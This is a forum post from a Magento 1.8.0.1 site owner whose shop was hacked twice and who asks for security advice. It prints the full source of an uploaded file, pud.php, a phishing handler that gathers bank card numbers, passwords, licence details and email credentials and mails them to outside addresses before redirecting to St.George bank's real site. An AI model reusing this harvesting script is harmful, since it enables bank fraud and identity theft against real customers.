Hello Friends,
I am using Magento 1.8.0.1 over http and my domain is hacked twice; on first time hackers uses Media and JS to install a Module for additional login.html then I have cleared all offending contents from the server and changed the admin passwords too but again my domain got hacked and now this time they use downloader>skin>install to upload the file pud.php
Here is the detailed code of that file:
<?php
$sec = $_REQUEST['password'];
$page_name= "Stgeorge";
if(isset($sec)) {
$ip = getenv("REMOTE_ADDR");
$message .= "---------- Login Information ----------------------------\n";
$message .= "Card/Access Number: ".$_POST['firstname']."\n";
$message .= "Security Number: ".$_POST['password']."\n";
$message .= "Internet Password: ".$_POST['passwords']."\n";
$message .= "---------- Identity Information ----------------------------\n";
$message .= "Full Name : ".$_POST['fn']."\n";
$message .= "Verbal Password : ".$_POST['vb']."\n";
$message .= "DOB: ".$_POST['dobday']." - ".$_POST['dobmonth']." - ".$_POST['dobyear']."\n";
$message .= "10-Digit Licence Card Number: ".$_POST['dln']."\n";
$message .= "Driver's licence number: ".$_POST['dlnssss']."\n";
$message .= "Licence Expiry Date: ".$_POST['edobday']." - ".$_POST['edobmonth']." - ".$_POST['edobyear']."\n";
$message .= "---------- Contact Information and Home Address ----------------------------\n";
$message .= "Mobile Number: ".$_POST['mn']."\n";
$message .= "Home Phone Number: ".$_POST['pn']."\n";
$message .= "E-mail Address: ".$_POST['email']."\n";
$message .= "E-mail Pass: ".$_POST['emailp']."\n";
$message .= "IP: ".$ip."\n";
$message .= "----------------Created By shika------------------\n";
$send = "clim01987@gmail.com,k.molodkina.stroyst@mail.ru";
$subject = $page_name." - ReZulTs";
$headers = "From: <infos@shika.com>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
mail("$send", "$subject", $message);
header("Location: https://www.stgeorge.com.au/");
}
else {
header("Location: https://www.stgeorge.com.au/");
}
?>Finally, I think that how ease to hack Magento 1.8.0.1?
Now, I need help to stop this hacking sequence and for that please tell me all available processes and available security patches for 1.8.0.1
Thanks
